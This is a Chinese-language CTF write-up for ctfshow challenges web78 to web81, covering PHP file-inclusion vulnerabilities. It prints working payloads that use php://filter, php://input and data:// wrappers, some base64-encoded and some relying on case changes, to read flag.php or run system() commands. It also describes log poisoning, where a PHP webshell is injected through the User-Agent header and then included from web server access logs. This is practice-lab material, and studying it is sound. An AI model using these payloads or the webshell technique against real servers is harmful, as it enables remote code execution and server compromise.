文件包含学习 web78-81

edited by twi1igh7

web78

先看源码

image-20260514080713395

有include函数,文件包含,打法很多

Payload1

GET传参

1
?file=php://filter/read=convert.Base64-encode/resource=flag.php

Execute后得到Base64编码字符串PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0xNiAxMDo1NToxMQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMTYgMTA6NTU6MjANCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxhZz0iY3Rmc2hvd3tiZTE1NmZjMy1jZDM5LTQyMDQtYjMxMi1lMjE5OWFhMzI3NGR9Ijs=,解码后得到flag

image-20260514081108302

Payload2

还是用php://filter伪协议,但是换用convert.iconv

1
?file=php://filter/read=convert.iconv.utf8.utf16/resource=flag.php

运行后即可获取flag

image-20260514081304153

Payload3

用php://input伪协议也可以打

image-20260514081859242

注意burpsuite中GET传参时空格要用%20代替

Payload4

用data://text伪协议也可以打

1
?file=data://text/palin,<?php%20system('cat%20flag.php')?>

image-20260514082732811

web79

先看源码,这道题就多了一个过滤php,可以用大小写绕过写php伪协议,但是文件名没有办法绕过,因为linux中文件名对大小写敏感

image-20260514083649827

Payload1

所以我们换用php://input伪协议

1
2
3
4
?file=Php://input

#POST传参
<?php system('ls');?>

image-20260514085352187

Payload2

我们也可以换用data伪协议

1
?file=data://text/plain,<?=system("tac%20flag.php");?>

如果不用短标签的话就要用大小写绕过

1
?file=data://text/plain,<?Php%20system("tac%20flag.php");?>

Payload3

也可以使用base64编码后给data://text

1
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

image-20260514090716915

web80

还是先看源码,这道题把data也ban了

image-20260514092408175

Payload1

大小写绕过用php://input伪协议

image-20260514092707308

大小写好像绕过不了data伪协议,但是php就可以,也是很奇怪了hh

Payload2

这道题我看别的wp用的比较多的是日志注入

可以看看这篇文章文件包含漏洞-日志注入 - 咬人的萝卜 - 博客园

1
2
从我的角度来理解:
我们修改User-Agent的内容,然后访问一次,日志就会记录我们的访问信息,里面肯定会包含User-Agent的内容,如果我们写入的是一句话木马,那么shell就成功写进文件了

蚁剑连上以后也能成功得到flag

image-20260514140917941

总结

1
2
3
apache一般是/var/log/apache/access.log。:
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log

web81

还是先看源码

image-20260514141520952

Payload1

还是日志注入,和上道题一样的做法

改User-Agent->访问一次->蚁剑连接->Get flag

好像这道题都是用的日志注入,没别的做法了